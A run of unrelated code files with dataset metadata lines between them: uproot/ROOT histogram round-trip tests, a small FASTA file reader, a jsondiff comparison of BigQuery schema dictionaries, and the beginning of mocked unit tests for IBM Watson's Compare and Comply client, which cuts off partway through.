fin["h1"] with uproot.recreate(newfile) as fout: fout["out"] = h2 f3 = ROOT.TFile(newfile) h3 = f3.Get("out") assert h3.GetEntries() == 5 assert h3.GetSumOfWeights() == 35 assert h3.GetNbinsX() == 2 assert h3.GetNbinsY() == 3 assert h3.GetXaxis().GetBinLowEdge(1) == pytest.approx(-3.14) assert h3.GetXaxis().GetBinUpEdge(2) == pytest.approx(2.71) assert h3.GetYaxis().GetBinLowEdge(1) == pytest.approx(-5) assert h3.GetYaxis().GetBinUpEdge(3) == pytest.approx(10) assert [[h3.GetBinContent(i, j) for j in range(5)] for i in range(4)] == [ pytest.approx([0, 0, 0, 10, 0]), pytest.approx([0, 0, 0, 15, 0]), pytest.approx([0, 20, 0, 0, 0]), pytest.approx([0, 0, 0, 20, 0]), ] assert [[h3.GetBinError(i, j) for j in range(5)] for i in range(4)] == [ pytest.approx([0, 0, 0, 0, 0]), pytest.approx([0, 0, 0, np.sqrt(12.5), 0]), pytest.approx([0, 0, 0, 0, 0]), pytest.approx([0, 0, 0, 0, 0]), ] f3.Close() def test_TProfile3D(tmp_path): original = os.path.join(tmp_path, "original.root") newfile = os.path.join(tmp_path, "newfile.root") f1 = ROOT.TFile(original, "recreate") h1 = ROOT.TProfile3D("h1", "title", 2, -3.14, 2.71, 3, -5, 10, 1, 100, 200) h1.Fill(-4, 9, 150, 10) h1.Fill(-3.1, 9, 150, 10) h1.Fill(-3.1, 9, 150, 20) h1.Fill(2.7, -4, 150, 20) h1.Fill(3, 9, 150, 20) h1.Write() f1.Close() with uproot.open(original) as fin: h2 = fin["h1"] with uproot.recreate(newfile) as fout: fout["out"] = h2 f3 = ROOT.TFile(newfile) h3 = f3.Get("out") assert h3.GetEntries() == 5 assert h3.GetSumOfWeights() == 35 assert h3.GetNbinsX() == 2 assert h3.GetNbinsY() == 3 assert h3.GetNbinsZ() == 1 assert h3.GetXaxis().GetBinLowEdge(1) == pytest.approx(-3.14) assert h3.GetXaxis().GetBinUpEdge(2) == pytest.approx(2.71) assert h3.GetYaxis().GetBinLowEdge(1) == pytest.approx(-5) assert h3.GetYaxis().GetBinUpEdge(3) == pytest.approx(10) assert h3.GetZaxis().GetBinLowEdge(1) == pytest.approx(100) assert h3.GetZaxis().GetBinUpEdge(1) == pytest.approx(200) approx = pytest.approx assert [ [[h3.GetBinContent(i, j, k) for k in range(3)] for j in range(5)] for i in range(4) ] == [ [[0, 0, 0], [0, 0, 0], [0, 0, 0], [0, 10, 0], [0, 0, 0]], [[0, 0, 0], [0, 0, 0], [0, 0, 0], [0, 15, 0], [0, 0, 0]], [[0, 0, 0], [0, 20, 0], [0, 0, 0], [0, 0, 0], [0, 0, 0]], [[0, 0, 0], [0, 0, 0], [0, 0, 0], [0, 20, 0], [0, 0, 0]], ] assert [ [[h3.GetBinError(i, j, k) for k in range(3)] for j in range(5)] for i in range(4) ] == [ [[0, 0, 0], [0, 0, 0], [0, 0, 0], [0, 0, 0], [0, 0, 0]], [[0, 0, 0], [0, 0, 0], [0, 0, 0], [0, approx(np.sqrt(12.5)), 0], [0, 0, 0]], [[0, 0, 0], [0, 0, 0], [0, 0, 0], [0, 0, 0], [0, 0, 0]], [[0, 0, 0], [0, 0, 0], [0, 0, 0], [0, 0, 0], [0, 0, 0]], ] f3.Close() def test_ex_nihilo_TH1(tmp_path): newfile = os.path.join(tmp_path, "newfile.root") h1 = uproot.writing.identify.to_TH1x( fName="h1", fTitle="title", data=np.array([1.0, 2.0, 5.0, 4.0], np.float64), fEntries=5.0, fTsumw=7.0, fTsumw2=27.0, fTsumwx=7.3, fTsumwx2=55.67, fSumw2=np.array([1.0, 2.0, 25.0, 16.0], np.float64), fXaxis=uproot.writing.identify.to_TAxis( fName="xaxis", fTitle="", fNbins=2, fXmin=-3.14, fXmax=2.71, ), ) with uproot.recreate(newfile) as fout: fout["out"] = h1 f3 = ROOT.TFile(newfile) h3 = f3.Get("out") assert h3.GetEntries() == 5 assert h3.GetSumOfWeights() == 7 assert h3.GetBinLowEdge(1) == pytest.approx(-3.14) assert h3.GetBinWidth(1) == pytest.approx((2.71 - -3.14) / 2) assert h3.GetBinContent(0) == pytest.approx(1) assert h3.GetBinContent(1) == pytest.approx(2) assert h3.GetBinContent(2) == pytest.approx(5) assert h3.GetBinContent(3) == pytest.approx(4) assert h3.GetBinError(0) == pytest.approx(1) assert h3.GetBinError(1) == pytest.approx(1.4142135623730951) assert h3.GetBinError(2) == pytest.approx(5) assert h3.GetBinError(3) == pytest.approx(4) f3.Close() def test_ex_nihilo_TH2(tmp_path): newfile = os.path.join(tmp_path, "newfile.root") h1 = uproot.writing.identify.to_TH2x( fName="h1", fTitle="title", data=np.array( [0, 0, 0, 0, 0, 0, 5, 0, 0, 0, 0, 0, 1, 2, 0, 4, 0, 0, 0, 0], np.float64 ), fEntries=5.0, fTsumw=7.0, fTsumw2=27.0, fTsumwx=7.3, fTsumwx2=55.67, fTsumwy=-2.0, fTsumwy2=242.0, fTsumwxy=-109.8, fSumw2=np.array( [0, 0, 0, 0, 0, 0, 25, 0, 0, 0, 0, 0, 1, 2, 0, 16, 0, 0, 0, 0], np.float64 ), fXaxis=uproot.writing.identify.to_TAxis( fName="xaxis", fTitle="", fNbins=2, fXmin=-3.14, fXmax=2.71, ), fYaxis=uproot.writing.identify.to_TAxis( fName="yaxis", fTitle="", fNbins=3, fXmin=-5.0, fXmax=10.0, ), ) with uproot.recreate(newfile) as fout: fout["out"] = h1 f3 = ROOT.TFile(newfile) h3 = f3.Get("out") assert h3.GetEntries() == 5 assert h3.GetSumOfWeights() == 7 assert h3.GetNbinsX() == 2 assert h3.GetNbinsY() == 3 assert h3.GetXaxis().GetBinLowEdge(1) == pytest.approx(-3.14) assert h3.GetXaxis().GetBinUpEdge(2) == pytest.approx(2.71) assert h3.GetYaxis().GetBinLowEdge(1) == pytest.approx(-5) assert h3.GetYaxis().GetBinUpEdge(3) == pytest.approx(10) assert [[h3.GetBinContent(i, j) for j in range(5)] for i in range(4)] == [ pytest.approx([0, 0, 0, 1, 0]), pytest.approx([0, 0, 0, 2, 0]), pytest.approx([0, 5, 0, 0, 0]), pytest.approx([0, 0, 0, 4, 0]), ] f3.Close() def test_ex_nihilo_TH3(tmp_path): newfile = os.path.join(tmp_path, "newfile.root") h1 = uproot.writing.identify.to_TH3x( fName="h1", fTitle="title", data=np.array( [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0] + [0, 0, 0, 0, 0, 0, 5, 0, 0, 0, 0, 0, 1, 2, 0, 4, 0, 0, 0, 0] + [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], np.float64, ), fEntries=5.0, fTsumw=7.0, fTsumw2=27.0, fTsumwx=7.3, fTsumwx2=55.67, fTsumwy=-2.0, fTsumwy2=242.0, fTsumwxy=-109.8, fTsumwz=1050.0, fTsumwz2=157500.0, fTsumwxz=1095.0, fTsumwyz=-300.0, fSumw2=np.array( [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0] + [0, 0, 0, 0, 0, 0, 25, 0, 0, 0, 0, 0, 1, 2, 0, 16, 0, 0, 0, 0] + [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], np.float64, ), fXaxis=uproot.writing.identify.to_TAxis( fName="xaxis", fTitle="", fNbins=2, fXmin=-3.14, fXmax=2.71, ), fYaxis=uproot.writing.identify.to_TAxis( fName="yaxis", fTitle="", fNbins=3, fXmin=-5.0, fXmax=10.0, ), fZaxis=uproot.writing.identify.to_TAxis( fName="zaxis", fTitle="", fNbins=1, fXmin=100.0, fXmax=200.0, ), ) with uproot.recreate(newfile) as fout: fout["out"] = h1 f3 = ROOT.TFile(newfile) h3 = f3.Get("out") assert h3.GetEntries() == 5 assert h3.GetSumOfWeights() == 7 assert h3.GetNbinsX() == 2 assert h3.GetNbinsY() == 3 assert h3.GetNbinsZ() == 1 assert h3.GetXaxis().GetBinLowEdge(1) == pytest.approx(-3.14) assert h3.GetXaxis().GetBinUpEdge(2) == pytest.approx(2.71) assert h3.GetYaxis().GetBinLowEdge(1) == pytest.approx(-5) assert h3.GetYaxis().GetBinUpEdge(3) == pytest.approx(10) assert h3.GetZaxis().GetBinLowEdge(1) == pytest.approx(100) assert h3.GetZaxis().GetBinUpEdge(1) == pytest.approx(200) approx = pytest.approx assert [ [[h3.GetBinContent(i, j, k) for k in range(3)] for j in range(5)] for i in range(4) ] == [ [[0, 0, 0], approx([0, 0, 0]), [0, 0, 0], approx([0, 1, 0]), [0, 0, 0]], [[0, 0, 0], approx([0, 0, 0]), [0, 0, 0], approx([0, 2, 0]), [0, 0, 0]], [[0, 0, 0], approx([0, 5, 0]), [0, 0, 0], approx([0, 0, 0]), [0, 0, 0]], [[0, 0, 0], approx([0, 0, 0]), [0, 0, 0], approx([0, 4, 0]), [0, 0, 0]], ] f3.Close() def test_ex_nihilo_TProfile(tmp_path): newfile = os.path.join(tmp_path, "newfile.root") h1 = uproot.writing.identify.to_TProfile( fName="h1", fTitle="title", data=np.array([10, 30, 20, 20], np.float64), fEntries=5.0, fTsumw=3.0, fTsumw2=3.0, fTsumwx=-3.5, fTsumwx2=26.51, fTsumwy=50.0, fTsumwy2=900.0, fSumw2=np.array([100, 500, 400, 400], np.float64), fBinEntries=np.array([1, 2, 1, 1], np.float64), fBinSumw2=np.array([], np.float64), fXaxis=uproot.writing.identify.to_TAxis( fName="xaxis", fTitle="", fNbins=2, fXmin=-3.14, fXmax=2.71, ), ) with uproot.recreate(newfile) as fout: fout["out"] = h1 f3 = ROOT.TFile(newfile) h3 = f3.Get("out") assert h3.GetEntries() == 5 assert h3.GetSumOfWeights() == 35 assert h3.GetBinLowEdge(1) == pytest.approx(-3.14) assert h3.GetBinWidth(1) == pytest.approx((2.71 - -3.14) / 2) assert h3.GetBinContent(0) == pytest.approx(10) assert h3.GetBinContent(1) == pytest.approx(15) assert h3.GetBinContent(2) == pytest.approx(20) assert h3.GetBinContent(3) == pytest.approx(20) assert h3.GetBinError(0) == pytest.approx(0) assert h3.GetBinError(1) == pytest.approx(np.sqrt(12.5)) assert h3.GetBinError(2) == pytest.approx(0) assert h3.GetBinError(3) == pytest.approx(0) f3.Close() def test_ex_nihilo_TProfile2D(tmp_path): newfile = os.path.join(tmp_path, "newfile.root") h1 = uproot.writing.identify.to_TProfile2D( fName="h1", fTitle="title", data=np.array( [0, 0, 0, 0, 0, 0, 20, 0, 0, 0, 0, 0, 10, 30, 0, 20, 0, 0, 0, 0], np.float64 ), fEntries=5.0, fTsumw=3.0, fTsumw2=3.0, fTsumwx=-3.5, fTsumwx2=26.51, fTsumwy=14.0, fTsumwy2=178.0, fTsumwxy=-66.6, fTsumwz=50.0, fTsumwz2=900.0, fSumw2=np.array( [0, 0, 0, 0, 0, 0, 400, 0, 0, 0, 0, 0, 100, 500, 0, 400, 0, 0, 0, 0], np.float64, ), fBinEntries=np.array( [0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 2, 0, 1, 0, 0, 0, 0], np.float64 ), fBinSumw2=np.array([], np.float64), fXaxis=uproot.writing.identify.to_TAxis( fName="xaxis", fTitle="", fNbins=2, fXmin=-3.14, fXmax=2.71, ), fYaxis=uproot.writing.identify.to_TAxis( fName="yaxis", fTitle="", fNbins=3, fXmin=-5.0, fXmax=10.0, ), ) with uproot.recreate(newfile) as fout: fout["out"] = h1 f3 = ROOT.TFile(newfile) h3 = f3.Get("out") assert h3.GetEntries() == 5 assert h3.GetSumOfWeights() == 35 assert h3.GetNbinsX() == 2 assert h3.GetNbinsY() == 3 assert h3.GetXaxis().GetBinLowEdge(1) == pytest.approx(-3.14) assert h3.GetXaxis().GetBinUpEdge(2) == pytest.approx(2.71) assert h3.GetYaxis().GetBinLowEdge(1) == pytest.approx(-5) assert h3.GetYaxis().GetBinUpEdge(3) == pytest.approx(10) assert [[h3.GetBinContent(i, j) for j in range(5)] for i in range(4)] == [ pytest.approx([0, 0, 0, 10, 0]), pytest.approx([0, 0, 0, 15, 0]), pytest.approx([0, 20, 0, 0, 0]), pytest.approx([0, 0, 0, 20, 0]), ] assert [[h3.GetBinError(i, j) for j in range(5)] for i in range(4)] == [ pytest.approx([0, 0, 0, 0, 0]), pytest.approx([0, 0, 0, np.sqrt(12.5), 0]), pytest.approx([0, 0, 0, 0, 0]), pytest.approx([0, 0, 0, 0, 0]), ] f3.Close() def test_ex_nihilo_TProfile3D(tmp_path): newfile = os.path.join(tmp_path, "newfile.root") h1 = uproot.writing.identify.to_TProfile3D( fName="h1", fTitle="title", data=np.array( [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0] + [0, 0, 0, 0, 0, 0, 20, 0, 0, 0, 0, 0, 10, 30, 0, 20, 0, 0, 0, 0] + [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], np.float64, ), fEntries=5.0, fTsumw=3.0, fTsumw2=3.0, fTsumwx=-3.5, fTsumwx2=26.51, fTsumwy=14.0, fTsumwy2=178.0, fTsumwxy=-66.6, fTsumwz=450.0, fTsumwz2=67500.0, fTsumwxz=-525.0, fTsumwyz=2100.0, fTsumwt=50.0, fTsumwt2=900.0, fSumw2=np.array( [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0] + [0, 0, 0, 0, 0, 0, 400, 0, 0, 0, 0, 0, 100, 500, 0, 400, 0, 0, 0, 0] + [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], np.float64, ), fBinEntries=np.array( [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0] + [0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 2, 0, 1, 0, 0, 0, 0] + [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], np.float64, ), fBinSumw2=np.array([], np.float64), fXaxis=uproot.writing.identify.to_TAxis( fName="xaxis", fTitle="", fNbins=2, fXmin=-3.14, fXmax=2.71, ), fYaxis=uproot.writing.identify.to_TAxis( fName="yaxis", fTitle="", fNbins=3, fXmin=-5.0, fXmax=10.0, ), fZaxis=uproot.writing.identify.to_TAxis( fName="zaxis", fTitle="", fNbins=1, fXmin=100.0, fXmax=200.0, ), ) with uproot.recreate(newfile) as fout: fout["out"] = h1 f3 = ROOT.TFile(newfile) h3 = f3.Get("out") assert h3.GetEntries() == 5 assert h3.GetSumOfWeights() == 35 assert h3.GetNbinsX() == 2 assert h3.GetNbinsY() == 3 assert h3.GetNbinsZ() == 1 assert h3.GetXaxis().GetBinLowEdge(1) == pytest.approx(-3.14) assert h3.GetXaxis().GetBinUpEdge(2) == pytest.approx(2.71) assert h3.GetYaxis().GetBinLowEdge(1) == pytest.approx(-5) assert h3.GetYaxis().GetBinUpEdge(3) == pytest.approx(10) assert h3.GetZaxis().GetBinLowEdge(1) == pytest.approx(100) assert h3.GetZaxis().GetBinUpEdge(1) == pytest.approx(200) approx = pytest.approx assert [ [[h3.GetBinContent(i, j, k) for k in range(3)] for j in range(5)] for i in range(4) ] == [ [[0, 0, 0], [0, 0, 0], [0, 0, 0], [0, 10, 0], [0, 0, 0]], [[0, 0, 0], [0, 0, 0], [0, 0, 0], [0, 15, 0], [0, 0, 0]], [[0, 0, 0], [0, 20, 0], [0, 0, 0], [0, 0, 0], [0, 0, 0]], [[0, 0, 0], [0, 0, 0], [0, 0, 0], [0, 20, 0], [0, 0, 0]], ] assert [ [[h3.GetBinError(i, j, k) for k in range(3)] for j in range(5)] for i in range(4) ] == [ [[0, 0, 0], [0, 0, 0], [0, 0, 0], [0, 0, 0], [0, 0, 0]], [[0, 0, 0], [0, 0, 0], [0, 0, 0], [0, approx(np.sqrt(12.5)), 0], [0, 0, 0]], [[0, 0, 0], [0, 0, 0], [0, 0, 0], [0, 0, 0], [0, 0, 0]], [[0, 0, 0], [0, 0, 0], [0, 0, 0], [0, 0, 0], [0, 0, 0]], ] f3.Close() def test_delete(tmp_path): newfile = os.path.join(tmp_path, "newfile.root") h1 = uproot.writing.identify.to_TH1x( fName="h1", fTitle="title", data=np.array([1.0, 2.0, 5.0, 4.0], np.float64), fEntries=5.0, fTsumw=7.0, fTsumw2=27.0, fTsumwx=7.3, fTsumwx2=55.67, fSumw2=np.array([1.0, 2.0, 25.0, 16.0], np.float64), fXaxis=uproot.writing.identify.to_TAxis( fName="xaxis", fTitle="", fNbins=2, fXmin=-3.14, fXmax=2.71, ), ) with uproot.recreate(newfile) as fout: fout["one"] = h1 fout["two"] = h1 with uproot.update(newfile) as fin: del fin["one"] f3 = ROOT.TFile(newfile) h3 = f3.Get("two") assert h3.GetEntries() == 5 assert h3.GetSumOfWeights() == 7 assert h3.GetBinLowEdge(1) == pytest.approx(-3.14) assert h3.GetBinWidth(1) == pytest.approx((2.71 - -3.14) / 2) assert h3.GetBinContent(0) == pytest.approx(1) assert h3.GetBinContent(1) == pytest.approx(2) assert h3.GetBinContent(2) == pytest.approx(5) assert h3.GetBinContent(3) == pytest.approx(4) assert h3.GetBinError(0) == pytest.approx(1) assert h3.GetBinError(1) == pytest.approx(1.4142135623730951) assert h3.GetBinError(2) == pytest.approx(5) assert h3.GetBinError(3) == pytest.approx(4) f3.Close()

32.679803

88

0.536592

4,034

26,536

3.505702

0.050322

0.097157

0.126644

0.144251

0.91748

0.908217

0.891812

0.880851

0.872861

0.869962

0

0.131616

0.274457

26,536

811

89

32.720099

0.602919

0.003052

0

0.806407

0

0.026046

0.001663

0

0.253482

1

0.022284

false

0

0.009749

0

0.032033

0

null

0

1

0

1

0

null

0

7

0bab69de750ef31a4bc0453eff9facff070a36cc

2,936

py

Python

bin/fasta_reader.py

avoorhis/VAMPS-Upload-Notebook

8a72716293a972febc83e28203f0e8426831c72d

[ "MIT" ]

null

bin/fasta_reader.py

avoorhis/VAMPS-Upload-Notebook

8a72716293a972febc83e28203f0e8426831c72d

[ "MIT" ]

null

bin/fasta_reader.py

avoorhis/VAMPS-Upload-Notebook

8a72716293a972febc83e28203f0e8426831c72d

[ "MIT" ]

null

#!/usr/bin/env python # -*- coding: utf-8 -*- ############################################################ # # # Simple script to read a fasta file # # # # # import os class FastaReader: def __init__(self,file_name=None): self.file_name = file_name self.h = open(self.file_name) self.seq = '' self.id = None self.revcomp_seq = None self.base_counts = None def next(self): def read_id(): return self.h.readline().strip()[1:] def read_seq(): ret = '' while True: line = self.h.readline() while len(line) and not len(line.strip()): # found empty line(s) line = self.h.readline() if not len(line): # EOF break if line.startswith('>'): # found new defline: move back to the start self.h.seek(-len(line), os.SEEK_CUR) break else: ret += line.strip() return ret self.id = read_id() self.seq = read_seq() if self.id: return True class FastaReaderB: def __init__(self,file_name=None): self.file_name = file_name self.h = open(self.file_name, "rb") self.seq = '' self.id = None self.revcomp_seq = None self.base_counts = None def next(self): def read_id(): return self.h.readline().strip()[1:] def read_seq(): ret = '' while True: line = self.h.readline() while len(line) and not len(line.strip()): # found empty line(s) line = self.h.readline() if not len(line): # EOF break if line.startswith('>'): # found new defline: move back to the start print('found') self.h.seek(-len(line), os.SEEK_CUR) break else: ret += line.strip() return ret self.id = read_id() self.seq = read_seq() if self.id: return True if __name__ == '__main__': f = FastaReader('test25.fa') while f.next(): id = f.id seq = f.seq print(id,seq)

28.504854

63

0.36376

268

2,936

3.843284

0.242537

0.048544

0.069903

0.066019

0.836893

0

0.0036

0.526907

2,936

103

64

28.504854

0.737941

0.138283

0

0.818182

0

0.010591

0

1

0.121212

false

0

0.015152

0.030303

0.257576

0.030303

0

null

0

1

0

1

0

1

0

null

0

8

f00737e7860c14cc90edb6cffe7a39edaf8e4029

3,187

py

Python

ProtoToBQ/difftest.py

LaurensVijnck/ProtoGen

6605742c6b3be2868747dbc236392b684410fc85

[ "MIT" ]

null

ProtoToBQ/difftest.py

LaurensVijnck/ProtoGen

6605742c6b3be2868747dbc236392b684410fc85

[ "MIT" ]

1

2021-03-02T09:06:08.000Z

ProtoToBQ/difftest.py

LaurensVijnck/ProtoGen

6605742c6b3be2868747dbc236392b684410fc85

[ "MIT" ]

null

from jsondiff import diff import json first = {".lvi.Event": { "package": "lvi", "filename": "event", "ambiguous_file_name": True, "name": "Event", "table_root": True, "batch_table": True, "cluster_fields": [ "tenant_id" ], "time_partitioning": True, "partitioning_expiration": 0, "partition_field": "event_time", "table_name": "event_table", "table_description": "ProtoToBQ generated table for events", "fields": [ { "index": 1, "name": "client", "alias": None, "description": "Owner of the event", "type": "TYPE_MESSAGE", "type_value": ".lvi.Client", "required": False, "batch_field": False, "clustering_field": False, "partitioning_field": False, "timestamp": False, "optional_field": False, "repeated_field": False, "default_value": None }, { "index": 2, "name": "events", "alias": None, "description": "", "type": "TYPE_MESSAGE", "type_value": ".lvi.BatchEvent", "required": True, "batch_field": True, "clustering_field": False, "partitioning_field": False, "timestamp": False, "optional_field": False, "repeated_field": True, "default_value": None }, ] } } second = {".lvi.Event": { "package": "lvi", "filename": "event", "ambiguous_file_name": True, "name": "Event", "table_root": True, "batch_table": True, "cluster_fields": [ "tenant_id" ], "time_partitioning": True, "partitioning_expiration": 0, "partition_field": "event_time", "table_name": "event_table", "table_description": "ProtoToBQ generated table for events", "fields": [ { "index": 1, "name": "client", "alias": None, "description": "Owner of the event", "type": "TYPE_MESSAGE", "type_value": ".lvi.Client", "required": False, "batch_field": False, "clustering_field": False, "partitioning_field": False, "timestamp": False, "optional_field": False, "repeated_field": False, "default_value": None }, { "index": 2, "name": "events", "alias": None, "description": "", "type": "TYPE_MESSAGE", "type_value": ".lvi.BatchEvent", "required": False, "batch_field": True, "clustering_field": False, "partitioning_field": False, "timestamp": False, "optional_field": False, "repeated_field": True, "default_value": None }, { "index": 3, "name": "events", "alias": None, "description": "", "type": "TYPE_MESSAGE", "type_value": ".lvi.BatchEvent", "required": True, "batch_field": True, "clustering_field": False, "partitioning_field": False, "timestamp": False, "optional_field": False, "repeated_field": True, "default_value": None }, ] } } print(diff(first, second))

25.701613

64

0.528397

288

3,187

5.618056

0.190972

0.117429

0.061805

0.058714

0.954265

0

0.003201

0.313775

3,187

124

65

25.701613

0.736626

0

0.818182

0

0.440088

0.014429

0

1

0

false

0

0.016529

0

0.016529

0.008264

0

null

0

1

0

1

0

null

0

7

f0228e344a1e472fa975b37f469a6f5dd0245bd7

41,781

py

Python

test/unit/test_compare_comply_v1.py

BuiQuangAnh/python-sdk

f9726a4f74d0a5a3ea901044af8565b4eea4d05e

[ "Apache-2.0" ]

null

test/unit/test_compare_comply_v1.py

BuiQuangAnh/python-sdk

f9726a4f74d0a5a3ea901044af8565b4eea4d05e

[ "Apache-2.0" ]

null

test/unit/test_compare_comply_v1.py

BuiQuangAnh/python-sdk

f9726a4f74d0a5a3ea901044af8565b4eea4d05e

[ "Apache-2.0" ]

null

# -*- coding: utf-8 -*- # (C) Copyright IBM Corp. 2018, 2020. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from datetime import datetime from ibm_cloud_sdk_core.authenticators.no_auth_authenticator import NoAuthAuthenticator import inspect import json import pytest import responses import tempfile import ibm_watson.compare_comply_v1 from ibm_watson.compare_comply_v1 import * base_url = "https://gateway.watsonplatform.net/compare-comply/api" ############################################################################## # Start of Service: HTMLConversion ############################################################################## # region # ----------------------------------------------------------------------------- # Test Class for convert_to_html # ----------------------------------------------------------------------------- class TestConvertToHtml: # -------------------------------------------------------- # Test 1: Send fake data and check response # -------------------------------------------------------- @responses.activate def test_convert_to_html_response(self): body = self.construct_full_body() response = fake_response_HTMLReturn_json send_request(self, body, response) assert len(responses.calls) == 1 # -------------------------------------------------------- # Test 2: Send only required fake data and check response # -------------------------------------------------------- @responses.activate def test_convert_to_html_required_response(self): # Check response with required params body = self.construct_required_body() response = fake_response_HTMLReturn_json send_request(self, body, response) assert len(responses.calls) == 1 # -------------------------------------------------------- # Test 3: Send empty data and check response # -------------------------------------------------------- @responses.activate def test_convert_to_html_empty(self): check_empty_required_params(self, fake_response_HTMLReturn_json) check_missing_required_params(self) assert len(responses.calls) == 0 # ----------- # - Helpers - # ----------- def make_url(self, body): endpoint = "/v1/html_conversion" url = "{0}{1}".format(base_url, endpoint) return url def add_mock_response(self, url, response): responses.add( responses.POST, url, body=json.dumps(response), status=200, content_type="application/json", ) def call_service(self, body): service = CompareComplyV1( authenticator=NoAuthAuthenticator(), version="2018-10-15", ) service.set_service_url(base_url) output = service.convert_to_html(**body) return output def construct_full_body(self): body = {} body["file"] = tempfile.NamedTemporaryFile() body["file_content_type"] = "string1" body["model"] = "string1" return body def construct_required_body(self): body = {} body["file"] = tempfile.NamedTemporaryFile() return body # endregion ############################################################################## # End of Service: HTMLConversion ############################################################################## ############################################################################## # Start of Service: ElementClassification ############################################################################## # region # ----------------------------------------------------------------------------- # Test Class for classify_elements # ----------------------------------------------------------------------------- class TestClassifyElements: # -------------------------------------------------------- # Test 1: Send fake data and check response # -------------------------------------------------------- @responses.activate def test_classify_elements_response(self): body = self.construct_full_body() response = fake_response_ClassifyReturn_json send_request(self, body, response) assert len(responses.calls) == 1 # -------------------------------------------------------- # Test 2: Send only required fake data and check response # -------------------------------------------------------- @responses.activate def test_classify_elements_required_response(self): # Check response with required params body = self.construct_required_body() response = fake_response_ClassifyReturn_json send_request(self, body, response) assert len(responses.calls) == 1 # -------------------------------------------------------- # Test 3: Send empty data and check response # -------------------------------------------------------- @responses.activate def test_classify_elements_empty(self): check_empty_required_params(self, fake_response_ClassifyReturn_json) check_missing_required_params(self) assert len(responses.calls) == 0 # ----------- # - Helpers - # ----------- def make_url(self, body): endpoint = "/v1/element_classification" url = "{0}{1}".format(base_url, endpoint) return url def add_mock_response(self, url, response): responses.add( responses.POST, url, body=json.dumps(response), status=200, content_type="application/json", ) def call_service(self, body): service = CompareComplyV1( authenticator=NoAuthAuthenticator(), version="2018-10-15", ) service.set_service_url(base_url) output = service.classify_elements(**body) return output def construct_full_body(self): body = {} body["file"] = tempfile.NamedTemporaryFile() body["file_content_type"] = "string1" body["model"] = "string1" return body def construct_required_body(self): body = {} body["file"] = tempfile.NamedTemporaryFile() return body # endregion ############################################################################## # End of Service: ElementClassification ############################################################################## ############################################################################## # Start of Service: Tables ############################################################################## # region # ----------------------------------------------------------------------------- # Test Class for extract_tables # ----------------------------------------------------------------------------- class TestExtractTables: # -------------------------------------------------------- # Test 1: Send fake data and check response # -------------------------------------------------------- @responses.activate def test_extract_tables_response(self): body = self.construct_full_body() response = fake_response_TableReturn_json send_request(self, body, response) assert len(responses.calls) == 1 # -------------------------------------------------------- # Test 2: Send only required fake data and check response # -------------------------------------------------------- @responses.activate def test_extract_tables_required_response(self): # Check response with required params body = self.construct_required_body() response = fake_response_TableReturn_json send_request(self, body, response) assert len(responses.calls) == 1 # -------------------------------------------------------- # Test 3: Send empty data and check response # -------------------------------------------------------- @responses.activate def test_extract_tables_empty(self): check_empty_required_params(self, fake_response_TableReturn_json) check_missing_required_params(self) assert len(responses.calls) == 0 # ----------- # - Helpers - # ----------- def make_url(self, body): endpoint = "/v1/tables" url = "{0}{1}".format(base_url, endpoint) return url def add_mock_response(self, url, response): responses.add( responses.POST, url, body=json.dumps(response), status=200, content_type="application/json", ) def call_service(self, body): service = CompareComplyV1( authenticator=NoAuthAuthenticator(), version="2018-10-15", ) service.set_service_url(base_url) output = service.extract_tables(**body) return output def construct_full_body(self): body = {} body["file"] = tempfile.NamedTemporaryFile() body["file_content_type"] = "string1" body["model"] = "string1" return body def construct_required_body(self): body = {} body["file"] = tempfile.NamedTemporaryFile() return body # endregion ############################################################################## # End of Service: Tables ############################################################################## ############################################################################## # Start of Service: Comparison ############################################################################## # region # ----------------------------------------------------------------------------- # Test Class for compare_documents # ----------------------------------------------------------------------------- class TestCompareDocuments: # -------------------------------------------------------- # Test 1: Send fake data and check response # -------------------------------------------------------- @responses.activate def test_compare_documents_response(self): body = self.construct_full_body() response = fake_response_CompareReturn_json send_request(self, body, response) assert len(responses.calls) == 1 # -------------------------------------------------------- # Test 2: Send only required fake data and check response # -------------------------------------------------------- @responses.activate def test_compare_documents_required_response(self): # Check response with required params body = self.construct_required_body() response = fake_response_CompareReturn_json send_request(self, body, response) assert len(responses.calls) == 1 # -------------------------------------------------------- # Test 3: Send empty data and check response # -------------------------------------------------------- @responses.activate def test_compare_documents_empty(self): check_empty_required_params(self, fake_response_CompareReturn_json) check_missing_required_params(self) assert len(responses.calls) == 0 # ----------- # - Helpers - # ----------- def make_url(self, body): endpoint = "/v1/comparison" url = "{0}{1}".format(base_url, endpoint) return url def add_mock_response(self, url, response): responses.add( responses.POST, url, body=json.dumps(response), status=200, content_type="application/json", ) def call_service(self, body): service = CompareComplyV1( authenticator=NoAuthAuthenticator(), version="2018-10-15", ) service.set_service_url(base_url) output = service.compare_documents(**body) return output def construct_full_body(self): body = {} body["file_1"] = tempfile.NamedTemporaryFile() body["file_2"] = tempfile.NamedTemporaryFile() body["file_1_content_type"] = "string1" body["file_2_content_type"] = "string1" body["file_1_label"] = "string1" 